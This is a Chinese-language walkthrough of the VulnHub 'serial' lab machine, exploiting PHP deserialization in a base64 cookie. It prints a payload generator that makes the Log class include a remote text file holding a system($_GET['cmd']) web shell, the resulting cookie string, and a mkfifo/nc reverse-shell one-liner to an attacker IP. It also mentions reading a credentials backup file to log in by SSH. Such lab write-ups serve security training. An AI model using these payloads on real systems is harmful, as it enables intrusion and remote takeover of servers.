反序列化靶机serial漏洞复现 超详细教程

 环境搭建


漏洞环境:https://www.vulnhub.com/entry/serial-1,349/
下载后使用Vmware打开

创建新的虚拟机:


选择客户机版本为Ubuntu 64位:


一直下一步,知道选择使用现有磁盘:


选择下载的vmdk磁盘文件:


开机,环境配置完成:

漏洞复现

探测主机存活(目标主机IP地址)

  • 使用nmap探测主机存活或者使用Kali里的netdicover进行探测,我这里使用的arp 直接扫描本地主机 速度更快
nmap -PS -T4 192.168.252.0/24  //可以顺带扫描端口
arp-scan -l

访问下web

抓一下包发到重放器中看看 发现 cook 是被加密的

base64解码

解码网址:Base64 在线编码解码 | Base64 加密解密 - Base64.us

O:4:"User":2:{s:10:" User name";s:3:"sk4";s:9:" User wel";O:7:"Welcome":0:{}}


O: 代表存储的是对象(object),如果传入的是一个数字,那它就会变成a;
4: 表示对象的名称有4个字符,User表示对象名称刚好4个字符;
2: 表示有两个值
s: 表示字符串,数字表示字符串长度

目录扫描

代码审计

下载下来三个文件 

index.php:

<?phpinclude("user.class.php");if(!isset($_COOKIE['user'])) {setcookie("user", base64_encode(serialize(new User('sk4'))));} else {unserialize(base64_decode($_COOKIE['user']));}echo "This is a beta test for new cookie handler\n";
?>

user.class.php:

<?phpinclude("log.class.php");class Welcome {public function handler($val) {echo "Hello " . $val;}}class User {private $name;private $wel;function __construct($name) {$this->name = $name;$this->wel = new Welcome();}function __destruct() {//echo "bye\n";$this->wel->handler($this->name);}}?>

log.class.php:

<?phpclass Log {private $type_log;function __costruct($hnd) {$this->$type_log = $hnd;}public function handler($val) {include($this->type_log);echo "LOG: " . $val;}}
?>

创建一个php文件 来直接一步到位使其 反序列化 和64编码一步到位 

3.php

<?phpclass Log {private $type_log = "http://192.168.3.222/c.txt";}class User {private $name = "admin";private $wel;function __construct() {$this->wel = new Log();}
}
$obj = new User();
echo base64_encode(serialize($obj));
?>

c.txt

<?php system($_GET['cmd']);?>

运行 3.php 得到 反序列化 和64解码的结果

Tzo0OiJVc2VyIjoyOntzOjEwOiIAVXNlcgBuYW1lIjtzOjU6ImFkbWluIjtzOjk6IgBVc2VyAHdlbCI7TzozOiJMb2ciOjE6e3M6MTM6IgBMb2cAdHlwZV9sb2ciO3M6MjY6Imh0dHA6Ly8xOTIuMTY4LjMuMjIyL2MudHh0Ijt9fQ

木马上传

将其放到bp里 注入下木马 以get形式查了下 id 可以看到 成功上传

添加反弹shell:没有回应,但反弹shell成功。

rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+192.168.252.134+2222+>/tmp/f

SSH远程连接

查看根目录发现存在敏感文件credentials.txt.bak 找见sk4的密码 直接去物理机SSH远程连接

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/389616.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

24年电赛——自动行驶小车(H题)完赛感受

前言&#xff1a; 笔者大二&#xff0c;也算是第一次正式的打电赛省赛&#xff08;大一电赛的时候还没接触32&#xff0c;校赛的时候就被刷下去了。。。&#xff09;。经过一年的学习&#xff0c;三天两夜的校赛、两天一夜的七校联赛终于是挺到了省赛。比赛过程中真的是有太多感…

Git、Gitlab以及分支管理

分布式版本控制系统 一、Git概述 Git是一种分布式版本控制系统&#xff0c;用于跟踪和管理代码的变更。它由Linus torvalds创建的&#xff0c;最初被设计用于Linux内核的开发。Git 允许开发人员跟踪和管理代码的版本&#xff0c;并且可以在不同的开发人员之间进行协作。 Githu…

浏览器用户文件夹详解 - WebData(八)

1.WebData简介 1.1 什么是WebData文件&#xff1f; WebData文件是Chromium浏览器中用于存储用户表单数据、自动填充信息和支付信息的一个重要文件。每当用户在浏览器中填写表单或保存支付信息时&#xff0c;这些数据都会被记录在WebData文件中。通过这些记录&#xff0c;浏览…

【C语言】C语言期末突击/考研--指针(一篇就够)

目录 一、指针的本质&#xff08;间接访问原理&#xff09; 1.1.指针的定义 1.2.取地址操作符与取值操作符&#xff0c;指针本质 二、指针的传递使用场景 2.1.什么是指针的传递 2.2.指针的传递使用场景 三、指针的偏移使用场景 3.1.指针的偏移 3.2.指针与一维数组 四…

【多线程】阻塞队列

&#x1f3c0;&#x1f3c0;&#x1f3c0;来都来了&#xff0c;不妨点个关注&#xff01; &#x1f3a7;&#x1f3a7;&#x1f3a7;博客主页&#xff1a;欢迎各位大佬! 文章目录 1. 阻塞队列是什么2. 简单使用阻塞队列3. 阻塞队列的应用场景——生产者消费者模型3.1 生产者消…

bootStrap中操作行详情,删除,修改等操作

点击列表某一行的操作按钮&#xff0c;结合swtich case 出发不同操作

spring boot 实现 Stream 钉钉事件订阅

1: 参考链接 https://open.dingtalk.com/document/orgapp/develop-stream-mode-push-server 2&#xff1a;钉钉开放平台订阅配置 配置之后运行一下上面提供的链接 里面的main方法&#xff0c;验证通道 3&#xff1a;订阅启动方式 EventListenerThread eventListenerThrea…

nvm管理node版本问题处理集合

windows上通过nvm管理node版本&#xff0c;通过nvm安装node&#xff0c;报错了&#xff0c;信息&#xff1a; > Could not retrieve https://nodejs.org/dist/latest/SHASUMS256.txt. Get > https://nodejs.org/dist/latest/SHASUMS256.txt: dial tcp 104.20.23.46:443: …

如何通过阿里云服务器部署hexo博客(超详细)

&#x1f44f;大家好&#xff01;我是和风coding&#xff0c;希望我的文章能给你带来帮助&#xff01; &#x1f525;如果感觉博主的文章还不错的话&#xff0c;请&#x1f44d;三连支持&#x1f44d;一下博主哦 &#x1f4dd;点击 我的主页 还可以看到和风的其他内容噢&#x…

软件测试20个基础面试题及答案

什么是软件测试&#xff1f; 答案&#xff1a;软件测试是指在预定的环境中运行程序&#xff0c;为了发现软件存在的错误、缺陷以及其他不符合要求的行为的过程。 软件测试的目的是什么&#xff1f; 答案&#xff1a;软件测试的主要目的是保证软件的质量&#xff0c;并尽可能…

【C++】类和对象两个必看题

这两个题只有一句代码的差别。 看题目之前我先说一下怎么看汇编指令。 第一题&#xff1a;下面程序运行结果是&#xff1f; A.编译报错 B.运行崩溃 C.正常运行 #include <iostream> using namespace std; class A { public:void Print(){cout << "A::Pri…

【数据结构初阶】二叉树与堆(一)

文章目录 一、树的基础概念1、节点与度数2、树的度与高度3、引入&#xff1a;数组下标为何从0开始4、祖先节点5、树是递归定义的6、树与非树的区别7、代码表示 二、二叉树2.1、满二叉树2.2、完全二叉树2.3、完全二叉树的存储 三、堆 一、树的基础概念 1、节点与度数 节点分为…

多语言海外AEON抢单可连单加额外单源码,java版多语言抢单系统

多语言海外AEON抢单可连单加额外单源码&#xff0c;java版多语言抢单系统。此套是全新开发的java版多语言抢单系统。 后端java&#xff0c;用的若依框架&#xff0c;这套代码前后端是编译后的&#xff0c;测试可以正常使用&#xff0c;语言繁体&#xff0c;英文&#xff0c;日…

Charles怎么修改参数

Charles怎么修改参数 1、再【Structure】下&#xff0c;找到需要抓取的包&#xff0c;鼠标右键&#xff0c;点中断点。 2、在【Proxy】-点击【Breakpoint Settings…】 3、双击设置断点的接口 4、勾选后&#xff0c;点击【OK】。 5、再次刷新&#xff0c;重新发请求&#…

Nginx解析漏洞

一、nginx_parsing 这个解析漏洞其实是PHP CGI的漏洞&#xff0c;在PHP的配置文件中有一个关键的选项cgi.fix_pathinfo默认是开启的&#xff0c;当URL中有不存在的文件&#xff0c;PHP就会向前递归解析。在一个文件/xx.jpg后面加上/php会将/xx.jpg/xx.php解析为php文件。 1、…

第三方库认识- Mysql 数据库 API 认识

文章目录 一、msyql数据库API接口1.初始化mysql_init()——mysql_init2.链接数据库mysql_real_connect——mysql_real_connect3.设置当前客户端的字符集——mysql_set_character_set4.选择操作的数据库——mysql_select_db5.执行sql语句——mysql_query6.保存查询结果到本地——…

修改mac的音量能像windows系统那样给出音量反馈吗?

一、背景 windows有一些非常好的设计&#xff0c;比如拖动音量条的时候会有对应的音量大小的反馈。有时还能用来确定是视频没声音还是电脑坏了 在mac里怎么设置&#xff1f; 二、方法 首先点击菜单栏音量按钮->声音偏好设置…->勾选 “当更改音量时播放反馈”。 mac…

运放失调电流,偏置电流产生原因 ,对运放电路有什么影响,减小偏置电流带来的影响,TINA仿真。

偏置电流&#xff0c;失调电流定义 运放除了输入失调电压外&#xff0c;正常工作的时候&#xff0c;始终存在不为零的静态流进电流&#xff0c;如图所示&#xff1a; 对于BJT组成输入级的运放&#xff0c;这个电流就是差动输入级晶体管的基极电流IBQ&#xff0c;没有它&#xf…

Spring Boot+MyBatis+MySQL如何实现读写分离

​ 博客主页: 南来_北往 系列专栏&#xff1a;Spring Boot实战 背景 读写分离是数据库架构中的一种优化策略&#xff0c;它将读操作&#xff08;查询&#xff09;和写操作&#xff08;更新、插入、删除&#xff09;分开处理&#xff0c;通常通过将读请求和写请求分别发送…

正点原子imx6ull-mini-Linux驱动之异步通知实验(13)

在前面使用阻塞或者非阻塞的方式来读取驱动中按键值都是应用程序主动读取的&#xff0c;对于非 阻塞方式来说还需要应用程序通过 poll 函数不断的轮询。最好的方式就是驱动程序能主动向应 用程序发出通知&#xff0c;报告自己可以访问&#xff0c;然后应用程序在从驱动程序中读…